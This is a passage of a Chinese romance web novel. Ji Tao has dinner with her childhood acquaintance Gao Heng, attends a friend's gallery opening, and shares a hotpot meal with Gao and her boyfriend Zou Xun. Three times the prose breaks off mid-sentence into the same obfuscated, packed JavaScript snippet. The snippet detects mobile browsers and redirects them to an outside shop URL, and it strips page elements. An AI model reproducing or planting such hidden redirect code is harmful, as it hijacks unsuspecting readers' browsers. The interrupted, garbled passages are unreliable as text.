季桃不依:“谁也不用服软,我意思是咱们就吵个清楚。我要和你吵,你不能不理我。” “啊?”邹巡露出一副讨饶的表情,“我又吵不过你,你这不是穷寇必追欺人太甚嘛。” 季桃竖起眉:“什么叫吵不过我,你又想给我扣个胡搅蛮缠的帽子?” 邹巡笑了:“哪儿是胡搅蛮缠,吵架的时候你逻辑特别清晰,一句一句我都没法反驳。” “本来我就逻辑清晰,平时和你在一起用不着,吵架的时候还不拿出来认真对付啊。”季桃洋洋得意道,“别废话,快答应。” “答应,以后吵不吵,吵多久都按你的节奏来。”邹巡松开季桃,起身拿来一支笔,“我给你写个保证。能不能在这上头写字?”他拿起季桃的书。 “你别乱写。” “我不乱写。LandscapeAndMemory,”他看着封皮说,“这名字不错——嬉笑怒骂,现在都是风景,将来全是回忆。” “别胡说了,人家是正经书。” “我也是正经话。”邹巡说着,已经在书页空白处唰唰地写起来。 他把书还给季桃,“你相信我,我不会随便签名字,一诺千金,我说了就一定做到。” 季桃看他写的:“从今往后,我保证不主动挑起和季桃吵架,但如果季桃想吵,我一定奉陪。(但绝不大声吼她,并且事后我先反省道歉。)” 下面果然有个十分潇洒的签名,又落了日期。 季桃拿书脊打他:“先说清楚今天,今天不是我不和你吵,拿哭威胁你,是你纯欺负人。” “是是,今天是我太坏了。”邹巡赶紧抢着说,“刚才我心情不好,正烦躁。——写论文写不下去,有个问题卡在那儿。” “你也会写不出论文?”季桃惊讶道。 “当然会了,写论文哪是那么容易的事?” “可是我听你不是写得很顺吗,小手敲得劈里啪啦的。” 邹巡大笑:“眼见为实,让你看看我写的什么。” 他马上把笔记本取来。季桃一瞧,桌面上打开的不是论文,是个新建文档,上面记着这些: 季桃踢我第一次。算了,她不是有意。 季桃踢我第二次。有再一再二,没有再三再四。 第三次了,等着,下次我就抓住她,我要隔着皮肤、血肉,摸摸那根美丽的胫骨。 季桃脸涨得通红:“你从哪学这些话?看!鸡皮疙瘩。”胳膊伸过去。 邹巡握住摩挲:“那我就先摸摸美丽的桡骨。——你看,我也懂一些医学知识。” 还真是受了医生的刺激,季桃偷笑,抽回手,继续往下看: 怎么不来了? 我不信什么书这么有趣。 季桃就是这样,让人恨得牙根发痒。 算她走运,不知哪个打电话,救了她。 高恒哥哥?哪儿又冒出来一个哥哥? 忍住,要不是他,季桃就考不上大学,说不定我和她就没法认识了。忍住,千万不能得罪恩人啊。 季桃又气又笑:“什么乱七八糟的,你不想写论文就看赛车啊,管我踢不踢你呢?” “没那么好看,都知道结果了。可是你踢我有一下没一下的,让人着急。” “别急了,这是结果。”季桃使劲蹬他一脚,“赶紧删了,丢不丢人啊你。”啪一下亲手点了删除不保存。 “你说的吃饭的地方是哪家?”她拿起手机。 “不用找了,可能不好搜,等会儿定位发给你。——我们公司小顾,他知道一家,家常菜做得不错。我让他订。” 说着邹巡就拨了电话:“行知巷那家帮我订个桌子,今晚上,两个人,选个能轻松说话、别太闷的位子。——不是我,我女朋友。你把定位发过来。对了,再和老板说声,是我女朋友付账,别收男士的钱。——行,可以。” 挂掉电话,季桃说:“你怎么知道男士要抢着结账,谁都像你一样大男子主义啊。” 邹巡笑笑:“你也别付。小顾是会员,有折扣,完了我转给他就行。” “那不太好吧。” “没事。”邹巡把饭馆的定位信息转发季桃,她又发给高恒。 饭馆在一条小街的街角,深灰色砖墙围着,只开扇小门,几丛细竹子从墙头探出来,轻轻摇晃,显得甚是清幽。若不细看还以为这是家什么单位,比如美术研究会之类。 邹巡将小门指给季桃看。“快吃完给我打电话,我来接你。” 季桃答应,邹巡便开车走了。 季桃没有立即进去,她有意到的早些,先等高恒。 站了不到三分钟,一辆车靠边停下,车里钻出一个高高大大的年轻人,走上来说:“季桃。” 即使他不招呼,季桃也要喊他了。她一下子回忆起高恒原先的样子,他和高中时好像差不多嘛!这个发现让季桃有点害羞。“高恒哥哥。”她红着脸、笑着说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16989770|192693||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 高恒的脸立即红了:“别哥哥了,叫名字好了。” 季桃也觉得怪别扭,小囡似的,便说:“那就不客气了。你可别怪我啊,高恒。” “不怪,这样好,这样好。” 穿过檀色木门,服务员迎上前问:“请问贵姓?” “我姓季,是顾先生……”季桃还没说完,一位老板娘模样的走上来,热情道:“欢迎二位,很荣幸,很荣幸。这边请。” 老板娘引路,沿卵石小径,将他们带到几座“茅草小屋”中的一间坐下,房内只一张木桌两把木椅,对着一扇大窗,可以看见庭院的花木与小池,就是这一窗景难得。 服务员送上菜单给季桃,季桃问高恒,高恒说都行,季桃急着说话,无心斟酌菜色,便按服务员推荐的点了一遍。 只剩两人时,高恒向窗外看看,赞叹道:“这地方环境真好。” “这样的我也设计得出。”季桃说,有点大言不惭,急忙补充,“我最会设计这种华而不实的——房屋小院子大,才能招待几个人吃饭呀。” 高恒转过脸,微微笑着,对季桃脸上瞧了瞧:“我真有点儿不敢认。真快啊,你都大学毕业了。” 季桃不禁笑起来:“你说话怎么像个长辈,你也没毕业几年,也没大我几岁啊。”不过她有点明白高恒的意思:几年前分别时,高恒十七八岁,差不多算成年了,而自己才上初三,高恒看她,大概就是个小屁孩吧。真的,都八年过去了。 高恒说:“我也没想我都毕业了,一闭眼,好像还在上高中,老师整天在耳边唠叨:‘马上一模了,马上二模了,你还这个样子,怎么行?’” “是不是黄老师?”季桃开心地喊叫。 两人一边吃饭一边聊天,高中,大学,工作,不知怎的讲起房子难租,高恒问季桃,她红着脸说:“我和我男朋友住一起。” 虽然未婚同居根本不算个事,但既然认识高恒时自己还是“小屁孩”,再一见面,就说起同居男友了,季桃便有点难为情。 高恒倒不惊讶,只是笑着说:“果然是快啊,都有男朋友了。” “我还没告诉我舅舅他们。” “放心,我也不会打小报告。”高恒笑道,又说:“你怎么不叫他一起来?刚才我是想着,又拿不准,不敢问你。你们本来好好地过周末呢吧,被我打扰了。这可太不好意思了,让他过来吧,我们等等他,再加几个菜,反正还早。” “不用叫他,没关系,他正写论文呢,正好一个人专心写。” “他和你一个学校?也是学建筑?” “不是,他本科学物理,现在在我们学校上研究生,计算机专业,马上毕业了,找了个软件公司上班。” 季桃又问高恒:“你有没有女朋友?” “暂时还没有。”高恒微笑说。 “没有吗?不会吧。”季桃叫道,“你肯定眼特别高。——没关系,我认识好多美女。” 高恒笑而不语。季桃又说:“我知道,你是不想找同行吧。不然,像你这么优秀的帅哥,在你们学校和医院肯定都特别受欢迎。” 刚才她悄悄打量过高恒:大眼睛,高鼻梁,真的算是个帅哥,而且他不笑的时候嘴巴也带着点笑模样,一旦认真笑起来,竟还有两个酒窝;若是大笑,他把整张脸都笑红了,眉毛眼睛、鼻子嘴巴、一整个人洋溢着欢乐,特别有感染力。 高恒说:“季桃,你比过去活泼多了。” “我过去也不孤僻吧。”季桃笑着说。 “孤僻倒不孤僻,不过没有现在这么爱说爱笑。” 好像真的诶,爱说爱笑不知是从哪一天开始的。刚入学的时候确实只会害羞地笑,怯生生站在社团报名的地方,最后偏偏选了话剧社,因为招新的女生拉住她说:“你这么漂亮,天生是演员材料。”那个人就是谭一伊,后来和谭一伊成了好朋友,后来认识了更多的朋友,后来站在台上突然不会腿肚子打颤了,源源不断地被男生示好,收到告白,上课,自习,逛街,暑假工,更多告白,后来认识了邹巡。 24. 野心 “长大了嘛,都大学毕业了。”季桃和高恒一起笑。 “你怎么不继续念研究生?”高恒忽然问。 “我也不知道,就是不想上学了,可能我不爱学习吧。” “我觉得你应该上。”高恒说,看着季桃,是很认真、关切的眼神。 季桃低头看了会儿桌子,抬起头,笑着说:“你知道咱们那个学校,要求特别严,高中开家长会老师不许爷爷奶奶去,再说我外婆外公年纪也大了。我舅舅舅妈又忙,舅舅尤其忙,只能找舅妈,看她能不能请半天假。第一学期开家长会,我和舅妈说,她说刚好有事,请不了假。 “我只好去找老师请假,我说我家里没人能来,我自己参加吧。老师斜着眼睛看我,你能不能保证你的学习成绩,你能为你自己负责?我说我可以。老师说那咱们就看看,下次你要考全班第一,不然就还是叫你家长来。 “那以后,我拼命学习,每天好几套卷子,下次考试、以后每次考试都是全班第一——不是我多爱学习,也不是我聪明,你肯定知道,我初中学习挺吃力,但是没办法,要是考不了第一,我就得找人为我开家长会,我最怕就是这个。 “你看,抱这么一个目的学习,你还说我应该上研究生?” 季桃一气说完,望着高恒,高恒却表情严肃,没露一丝笑,让她有点尴尬。 沉默一会儿,高恒说:“可能你工作一段,就又想上学了。” “那样的话,我就再去考。” “嗯。”高恒没再说什么。 这时,服务员端来两碗黄鱼面,高恒一边吃一边赞不绝口:“这馆子真不错,我上辈子恐怕是个江南人,都吃出故乡味儿了。” “人杰地灵,江南才俊。”季桃接道,擦擦嘴,手腕一摆,仿佛拿了一把折扇,展开了,潇洒地摇了摇,“是这个样子吧?” “才俊”失笑,看着她,只觉眼前一恍惚,定定神,起身出去,回来时说:“还不许我付钱,季桃,你也太……”他摇头叹气。 “我都叫你高恒,不叫哥哥了,平等关系,还不许我请顿饭呀。”季桃笑道。 “这地方肯定不便宜吧。”高恒说,“我瞅了瞅,确实像你说的,招待不了几桌客人。我看普通人也来不了,这儿的客人,要是在医院上班,平均得是个副院长。” “可不是嘛,敬未来的副院长、院长。”季桃冲高恒举起茶杯。 “哎呀,季桃,你嘴巴变这么厉害了。”高恒不好意思地笑着,和她碰了碰杯,“我是说,你男朋友肯定不是个普通人。” “没没,是他公司一个同事帮忙订的。”季桃解释,“我男朋友就是个小程序员。——不对,他年纪挺大了。” 高恒露出愕然的表情。 邹巡比季桃大了四五岁。虽然他人长得俊朗,装成个在校大学生也毫无问题,但季桃总觉得他们两个不能算完完全全的校园恋爱,有那么点儿小遗憾,时不时就怪邹巡早生了几年。这时发觉自己说错了话,她连忙澄清:“不是那个意思,他比我大不到五岁,之前工作过几年。” “哦,你吓我一大跳。”高恒又笑了。 “给你看看。”季桃在手机上找了一张邹巡照片。 “我的天,这么精神呀。”高恒惊呼一声,“说真的,我刚才还想,能配上季桃的男生不多,原来是我见识小了。”他看着季桃,认真说。 这下季桃讲不出话,低着头,咬着嘴唇笑。 这顿饭吃得挺快,吃完才刚过八点,季桃准备给邹巡发消息,高恒拦住:“别让他再跑来了,我叫个车,先送你回去。” . 画展临近开幕,谭一伊给季桃送了请帖,请她和邹巡光临周五晚上的开幕式。 请帖里另夹着几张入场券,季桃分送了朋友。最后一张不知该给谁,季桃把长方形纸片的边缘在桌上轻轻磕,发出笃笃的声响。她说:“要不然给高恒吧,他应该喜欢看画。” 邹巡说:“他应该没空。医院里忙得很,他也快毕业了,还得写论文。” “又不是就你一个会一心十用,高恒脑子也聪明着呢。——不过上次他好像是说经常被安排周五晚上值班。”季桃又有些顾虑。 “他喜欢看画,哪天去都可以。” “但是我想让他见见谭一伊。” “为什么?” “谭一伊说她明年很有可能调回来,在这边上班。那样的话……” 邹巡摇头打断她:“他们两个成不了,谁也不会承你的情,还得罪人。” “谁说我要——”季桃不高兴,虽然她确实是那么想的。“为什么一定成不了?” 邹巡答:“谭一伊怎么想我不好说,但是高恒肯定不高兴。——男人怎么会愿意被介绍女朋友?他自己没碰见喜欢的,自己不会追?” “就是说嘛,我又不是把他们硬按到一块儿,只是让他们‘碰见’。我一个字都不说,以后怎么样,是他们自己的事,总不至于这也得罪人吧?” 邹巡忍了忍,还是张口说:“但是高恒本来是想追你。” “胡说什么呢?”季桃万分诧异,“你都没见过他,凭什么说他想追我?” “男人对你什么心思,见不见我都猜得出来。” “根本没那回事。莫名其妙!胡说八道!”季桃懒得驳斥,干脆走开,不理邹巡。 不过,后来问高恒,那天他确实要在医院值班,这件事便不了了之了。 举办画展的画廊在某高端购物中心大楼的顶层。开幕式当日,几乎所有谭一伊期盼到场的客人都来了:除过艺术家、艺术刊物总编、评论家、赞助人、记者等等,还有两位本市分管文化的干部。 季桃和邹巡按照谭一伊的建议,晚到半个小时,避开了开头的发言部分。他们到时,人群已经在画廊大厅右侧的自助餐台区域散开,手里擎着香槟,低声交谈。谭一伊钦慕地瞧瞧穿深蓝色亨利领衬衫的邹巡,悄悄向季桃说:“哪里像个程序员,你们俩也太漂亮了,别说一个小画展,电影节都去得。” 季桃也以陌生人的眼光重新打量一手插在裤兜的邹巡,再次感叹:真帅。她发现邹巡有种奇怪的本事:穿便宜衣服像穿贵衣服,地摊上五十一件的汗衫在他身上堪比大牌,半点儿不寒伧;可他真穿了贵衣服,却又像穿地摊货一般随随便便,洒脱不羁,仿佛生下来就是裹在绫罗绸缎中长大的。这倒也算是“由俭入奢易”了,季桃好笑地想。 谭一伊抬抬下巴,示意一个矮胖的男人:“你看我们老板。” 老板人物粗笨,西装还小了一个码,但有蓝绿色礼服裙、孔雀般光彩照人的喻珠站在他旁边,老板脸上便挂了趾高气昂的笑。 “看不下去了。”季桃鄙薄道,挑了块抹茶小蛋糕吃,然后就去看画。 她这才真正明白,为什么画家都想开画展:挂在暗红、深绿、浓紫的墙面上,画框中的方块呈现出奇特的空间感,无限地凸出来,无限地深进去。站在一幅画前,你的面前就是这一副画,一个小小的永恒。——没有人能抵挡得了创造永恒。 季桃喜欢一张小幅油画,画的是个街角,寂静无人,只有一盏街灯微微黄着。不知怎的,季桃觉得在转角之后,会有一个明亮的故事。她看了半天,邹巡过来问:“要不要买?” 她吃了一惊,她从来没想过要买画,那是收藏家的营生,富豪们的消遣,而且——她悄声问邹巡:“你不是说这些人都是三流吗?” 邹巡说:“管他是几流,你喜欢就行。” 季桃摇摇头,向另一幅画走去:“喜欢是一回事,愿意为它花好多钱是另一回事,我分得很清。” 邹巡在她背后笑了。 看完画,季桃和邹巡来到画廊外的露天平台,趴在栏杆上。外面,是城市最繁华盛大的一片夜景。 摩天楼上闪烁的灯光连成了一条河,代言奢侈品牌的模特有三层楼那么高,冷漠地、 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16995634|192693||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 目空一切地照耀着车水马龙的街道。 从这个角度看,那些巨大的广告牌不再令人炫目和生畏,它们与汇成这片灿烂景色的每一盏灯的每一束光一样,激励着人心。 季桃心潮涌动,从心底最深处涌出一股渴望——有一天,灯光也会为她闪耀。 “开心吧?”邹巡问。 季桃扭头看他,他的眼睛明亮又幽深。她想:邹巡好像和我想得一样。 她又想起那些文艺青年。红尘滚滚,车如流水马如龙,谁不希望能成名,能在世上留下印记——一点儿都不可笑,雄心万丈的人,很美。 “我突然觉得有野心是特别好的事。”季桃说。 “对。”邹巡点点头。 “你觉得那些人里,有人能成功吗?”她把脑袋向身后的画廊偏偏。 “那要看怎样算成功了。” 能够呼风唤雨?能够握住自己的命运?不过,对于画家来说,“成功”可以更容易,或者更难。“我觉得,至少要有一件能真正打动人的作品。” “那至少有一个人肯定成功了。”邹巡说。 季桃挺高兴,也为那个人高兴。希冀像帆一样,一阵风就鼓起来,涨满了胸膛。她希望有一天也能为自己——不光她自己,还有邹巡,她希望有一天能为她和他的梦想实现而高兴。 季桃不知道,邹巡心里想的,确实和她一样。 “你说我以后会不会有那样的作品?” 邹巡回答:“当然有,肯定有,到了那一天——” 季桃看着邹巡,满城的灯火都聚到他眼睛里了,跳跃的两簇。“到那一天什么?”她问。 “咱们开香槟。”他眼里的火苗向她跳了跳。 开幕式后,有位记者发了条消息,配上一组画展照片,其中一张是季桃在看画,就是那幅画着街角的油画。穿着白色挂脖背心的季桃,背影亭亭玉立,可媲美任何一件艺术品,又洋溢着青春的血肉之美。虽然看不见她的眼睛,但似乎能被她的目光引领,走入她已经沉浸在其中的那个梦幻世界:那儿,白马在月光下的原野上奔驰。 这条消息上了热搜。据谭一伊说,照片里的画第一天就被人订去了,又有不少人问,结果作者参展的另一幅画作以及没参展的几幅画也卖掉了,画廊还要和他长期签约。“他以后红了,就是你捧红的。”谭一伊兴奋地对季桃说。 本次画展就算没能惊天动地,也超出了所有人的预期。画展持续了二十天,总参观人数近八千,同意售卖的画作卖出了九成,各方都十分欢喜。 谭一伊回了D市后,又给季桃打电话:“我觉得这次画展能成功,至少五分之一是托你的福,主要是你那张照片嘛,那你是我请去的,差不多就是我的功劳,对吧?”她的语调忽然愤懑,“结果你猜怎么着,老板才给我加了五百块工资,倒是成天夸奖喻珠,好像全是她一个人办成的。都是我累死累活,她干什么了?我怀疑她和老板搞到一起了。 “不是吧,你们老板那个样子,她真能搞得下去?” “要不说钱难挣屎难吃嘛。算了,毕竟我最多看老板的脸,不用看他的身子。”谭一伊平衡了。 季桃告诉邹巡,邹巡说:“她还是别跟着他们老板干了。” “她想先调回来,然后再看看能不能找到别的工作。” “肯定能找到。” “她说要再找不到好老板,就和我一起开公司。你觉得我们行吗?” “当然可以。你们可以先试试。” “你说得容易,我们连启动资金都没有,又不敢贷款。你就不能给个靠谱点实际点的建议嘛。算了,你又没创业过,问你也是白问。——对了,我们什么时候和高恒吃顿饭吧,他一直说想见见你呢。” “好。咱们来请就行。” “那咱们请他吃顿贵、但是又看不出来贵的吧,上次咱们去那家火锅店怎么样,我想吃火锅。” “好。” 25. 自卑 到了约好和高恒吃饭那日,邹巡和季桃开车过去。邹巡说:“等会儿你开回来。” “你要和他喝酒?”季桃问。 “当然了。” “别喝,人家是医生。” “医生就不喝酒了?” “不是,你酒量那么大……” “怕我把他灌醉说出心里话呀。”邹巡笑道。 “什么心里话?”季桃奇怪地看一眼邹巡。他嘴角挂着笑,意味不明。“你最近怎么怪怪的。”季桃不大高兴。 “哪里怪?” 季桃不答话了,过一会儿邹巡说:“你真不明白啊,季桃?” “明白什么?别说话总是说一半留一半好不好。” “高恒喜欢你。” 尽管是季桃嫌他兜圈子,可真直接了,季桃倒愣了愣。随即她说:“上次就跟你说了,无聊不无聊,整天乱想,人家根本不和你一个样。” 邹巡说:“认识高恒的时候你上初中不是?” “对呀,才上初中!” “可是他上高中了。”邹巡从鼻子里不屑出几个字,“高中男生。” “不打自招了吧——你上高中的时候才整天追女生。” “没有。”邹巡掷地有声地说,随即补上,“那是因为那时候我没认识你。” 季桃的心欢悦地跳了一下。倘若议论的对象不是高恒,她非得故意顺着说下去,逗逗邹巡不可。可是拿高恒开玩笑毕竟不好意思,何况马上要见面了。 “你压根没道理,别人就不能是健康、自律的高中生?再说,他高中就认识我,现在研究生都毕业了,要是喜欢我早就追了。” 邹巡说:“你上中学的时候他不好打扰你学习,你上了大学,他大概觉得,不在一个城市,等他要毕业了,他就找了这边的医院。——如果我是他,我就这么想。” “那至少也先问问我有没有男朋友吧?” “我碰到你的时候,假如你有男朋友,我可不管。” “行了,人家道德感高。” 邹巡微微摇摇头。季桃没察觉,又说:“他和你完全不一样。别瞎猜了,医院是分配的,不由他选。总之根本没那回事,待会儿你可千万别乱说话。” “你放心,我还不至于当他面说。” “还有,我不想开车,你别和他喝酒。” “好,不喝。” 季桃忽然笑着问邹巡:“你上高中的时候是不是特别讨人厌?” “不是。” “我要是认识高中时期的你,肯定不喜欢。”季桃学他刚才的语气,“——高中男生。” 其实,她想着邹巡高中时“鲜嫩”的样子,心里倒有点小小的遗憾。 算了,还是他们遇见的那个时间地点最好,就得是夏天里的那一日,在宿舍楼下。 “而且青梅竹马,怎么说呢,还没做好准备,两个人就已经太熟悉了,跟一家人一样。” “青梅竹马?”邹巡偏偏要抓这几个字,很不开心地说,“你和高恒——你们不能算青梅竹马吧?” 季桃偷偷地笑,不理他,开始暗自琢磨,不是琢磨高恒——邹巡的话根本是无稽之谈,她是觉得邹巡挺有意思。 自她进了大学——上高中时确实觉得男生都太幼稚,不必提了——想追她的、确实当面或侧面表白过的,零零总总差不多有二三十人,这些人不管邹巡知不知道、见没见过,反正没见他多么当真不爽,怎么会突然对一个此前她从未提起、他也素未谋面的高恒就吃起无名醋来了? 好像没夸过高恒长得帅吧,季桃在心里回想。高恒挺帅的,但肯定不如邹巡。她的追求者中,可是有更帅的,甚至单看脸,比邹巡本人也不遑多让。 不过,这就要说了,男人的魅力本来和相貌不是完全正相关。 因为高恒是个医生? 固然是值得尊重的职业,但她并非一听见医生就两眼放光,说起来,她更喜欢律师。 季桃立即想到自己特别喜欢看的一部律政剧:波士顿法律。对了,那里面的男主角就不太帅。不太帅的意思是:平心而论,其它剧或电影里面比他更帅的男人还有大把。但是,每当那个叫做阿伦·索尔的男人在坐下时松开西装纽扣,起身预备慷慨陈词时又把纽扣扣好——剧里一遍又一遍重复这个细节,而她就一次又一次被迷倒——她都认为这是天底下最帅的男人。 甚至超过……季桃扭头看看邹巡。 若他不是世上第一帅,那肯定是因为还没有见过他穿西装的样子。——完了,我该不会对西装有什么特别的癖好吧? 邹巡略微偏了偏脸。季桃微微翘起的嘴角落在他眼中。 “这么高兴?”他问,轻轻转方向盘,从一辆车旁超过去。 季桃没说话,放松地靠向椅背,满足地暗自叹息:他有点儿不高兴时样子最帅了。 . 他们先找地方停车,再走去火锅店。季桃看见了高恒,他在店门旁一个不大显眼的地方孤身站着,双手插兜,低头看脚下。还没来得及告诉邹巡,他望一眼,便直直朝着高恒大步走上去。季桃倒落在后面。 “高医生,你好。我叫邹巡。”隔着两步时,邹巡先伸出手。 高恒又迎上一步,两人手握住,摇了一摇。“你好,邹巡,你好!我叫高恒,叫我小高就行。” 两个男人一本正经的样子令季桃直想笑。 邹巡没转头就抓住了季桃的手,有力地拢在他的手掌里,他还是面对着高恒:“季桃早就跟我介绍过,说是个帅哥医生,所以刚才我一眼就认出来了。” “哪里哪里,半吊子帅哥,半吊子医生。”高恒笑着说。 入座后,高恒向周围望望,感慨道:“又是一间贵馆子。” “你怎么看出来的?”季桃惊讶地问,四面瞅瞅,“我就觉得看着其实一般嘛。” “闻出来的,钱味儿。”高恒玩笑说,抽抽鼻子,“感谢邀请,我自己绝对吃不起这么高级的火锅。下回我请你们,可别嫌简陋啊。” “看你说的。”季桃说,“谁不知道,敢示弱的男人才不容小觑。” 高恒笑起来:“季桃,你都学会拿话垫人了呀。” 邹巡正点菜,抬起眼很快地瞟了高恒一眼。 他继续点菜,一面说:“这样的我们也很少来。季桃每次都带我去那种回转小火锅,哪样菜划算,我都吃出经验了,就是望过去全是女生,一开始我真不好意思坐下。” “真是!我听医院里女同事商量去哪儿吃饭,也是回转小火锅,男的都直挠头。”高恒笑着,看看季桃,又问,“季桃是不是不愿意去男生多的馆子?” 可不嘛。季桃想起先前和舍友一起下馆子,都是在门口向里瞅瞅,如果客人净是男的,就换一家。不过,和邹巡出门,不需要有顾虑,只管选自己喜欢的。 她向两个人笑笑:“我的原则,在外面吃饭,不管是整个饭店,还是一张桌子,只要男性占比超过百分之五十,我就不愿吃,今天可是为你们打破了惯例。” “那可太荣幸了。”邹巡捏捏季桃的手。 “荣幸荣幸。”高恒大笑。他的笑声是一串从胸腔深处发出的、低音号般的共鸣音,分外爽朗。火锅还没端上桌,那种热腾腾的气氛已经弥漫开来。 服务员送来白葡萄酒和三只酒杯,打开瓶塞。邹巡摆摆手,不要她倒。 “不是说好不喝酒吗?”季桃转头看邹巡。 “那哪儿行?说不过去。你不用喝,也不让你开车,等会儿找代驾。” “高恒又不是别人,而且他还是医生。高大夫,你给他讲讲酒精的坏处。” “少喝点没关系的。”高恒微笑答。 “我和高大夫少喝点儿。”邹巡对季桃说。 “不是,你们男的一喝酒就要敬来让去,看着都累,就不能专心吃顿饭好好说说话嘛。” 邹巡转头对高恒笑道:“好,咱们只碰一次,随意喝,绝对不敬来敬去,反正都是自己人。” 火锅架上后,邹巡为高恒和自己斟上酒,又要给季桃倒椰子水。“那我也喝一点儿。”季桃说。 “好。”邹巡给她倒了浅浅小半杯,“就碰一次,真的。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16997247|192693||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 三人都站起身,虽然季桃有点莫名其妙,不明白为什么两个男人满脸郑重其事。 邹巡说:“高恒,本来不想说谢谢,太轻了,但我也想不出别的表达。谢谢你帮助季桃。那天接到你电话,季桃特别高兴,一直跟我说,你给她辅导功课,要不是你,她可能考不上J大。你是医生,哪怕救了我的命我可能都不和你多客气,但是你为季桃做的,我一定要道谢。我还没见过季桃其他家人,这句话我第一个对你说——我知道你就像关心妹妹一样关心季桃:请放心,我一定照顾好她。” 酒还没入口呢,季桃脸先红透了。那天邹巡说高恒是恩人,她以为就是玩笑话,没想到当着高恒面邹巡还这么说,说得更肉麻,太尴尬了。还有,刚刚在路上时他就瞎猜,这会儿更离谱了,他才见到高恒,凭什么推测高恒特别关心她,还像家人,还像妹妹,什么跟什么呀。季桃真想捂住耳朵。 更没想到的是,高恒居然接那个话,他同样严肃认真地说:“我并没有帮忙,是季桃自己努力。季桃是个特别好的女孩,也挺不容易的。本来我真的有点儿不放心她。不过见到你,你和她两个人这么好,我就放心了,而且也特别高兴。” 三个人各自把酒喝干。季桃恨不得永远不要放下酒杯,把这个尴尬给醉过去,她真怕他们下一句就开始商量婚期了。 好在大家坐下吃肉,气氛马上转为寻常朋友聚会的轻松惬意。 闲谈一会儿,高恒问起邹巡写的论文,邹巡说:“我跟导师做的课题是智能大数据可视化,高医生肯定很熟悉。” “对,对,对医院很有用。” 于是两人就这个话题开始,又说起各人的工作,季桃听出他们不是夸夸其谈,而且不管一方说什么,另一方都接着深入下去,心里颇感惊异。她挺高兴他们有话可聊,自觉很有面子,因为有邹巡这样的男朋友,也因为有高恒这样的旧友。 可是,听着听着,她又觉得,他们是两个有分量的成熟男人,而自己却像个傻乎乎的花瓶女孩。 她默默吃菜,忽然听高恒问她:“你还是喜欢游泳吗?” “挺喜欢的,”季桃说着从眼梢瞟了瞟邹巡,感觉邹巡向她笑了。 高恒对邹巡说:“上次我还和季桃说,她现在变活泼了。她以前是个特别文静的小姑娘,总是捧着书本,不爱和人说话。我每次去她家,她要么在写作业,要么听歌,要么边写作业边听歌。要是假期,她不在家的时候,肯定是去游泳。” “有游泳票嘛,不去就浪费了。你还送我好多呢。”季桃小声说。 游泳票是医院职工的福利,医生们自己没空,都给家属了。高恒手里有不少,去游过几次,每次都碰到季桃,看她喜欢,便又给了她一堆票。 高恒笑着说:“你也不能整天学习,得劳逸结合,不然扛不住。你又不喜欢那些激烈运动,游泳最适合你。”说完,似乎觉得他讲这些不大妥当,脸上略微变红了,转向邹巡,“季桃确实爱学习,脑子也很聪明,上次我跟她说,她应该考研。” 他又对季桃说:“那个时候你很孤单,想你妈妈,而且你心里自卑,为了向老师证明你和别的同学一样,一定要考高分。你以为是这样?其实不是。你成绩好,是因为你聪明、上进、能自律,说明你爱学习并且学习能力强。你现在肯定也希望自己变得更好更厉害吧?当然了,工作也是学习,但是你还小,过几年再上班不迟,还是多在学校念念书,多储备,更好。” 高恒好像不愿意季桃很快答话,而是要她有一些时间思考,他立即向邹巡说:“上回季桃都跟我说了,说她为什么不愿考研,但我回去仔细想了想,我觉得她说得不对。邹巡你也劝劝她。” 季桃低着脑袋。高恒肯定是以为那些话她都对邹巡说过,其实她没有。 邹巡只问过她一回想不想读研,她说不想,后来他们再没提过相关的事。而且邹巡对她家的情况也不大清楚,只知道她父母离了婚,妈妈去了澳大利亚,她在舅舅家住,舅舅舅妈都对她很好。 那么,自卑这些又是从何说起,父母离婚?这样的孩子多了。 26. 钱呢 “不用我劝。”邹巡回答,朝季桃微微笑,温和地说,“你要是想上研究生,随时都可以。” 季桃勉力回他一笑:“还学建筑啊?都学五年了,不过别的专业也不好转吧。” 邹巡说:“学医本科不也五年?时间长说明东西多。你有没有其它特别喜欢的专业,没有就还学建筑。选个具体方向,或者看你想去哪儿上学。”接着,他便说出建筑学下的各个学科以及对应的院校,都是全球知名大学。季桃对这些多少有点儿了解,知道他说的没错,但她不知道邹巡什么时候把情况研究得这么清楚了? 邹巡一串说下来,最后问:“你想去欧洲吧?没问题,咱们可以去。” 听起来倒好像他们两个早就商量过,高恒的好心建议倒成了多此一举一般。季桃忙笑着说:“我想去玩,没说想去上学。而且,”她转向高恒,“建筑专业就算读到博士,薪资也超级低,这还得能找到工作呢,——特别不好找,全世界都不好找。” 邹巡马上说:“那你就当学着玩,别抱功利性目的,不用管工作,多读几年书再说。” 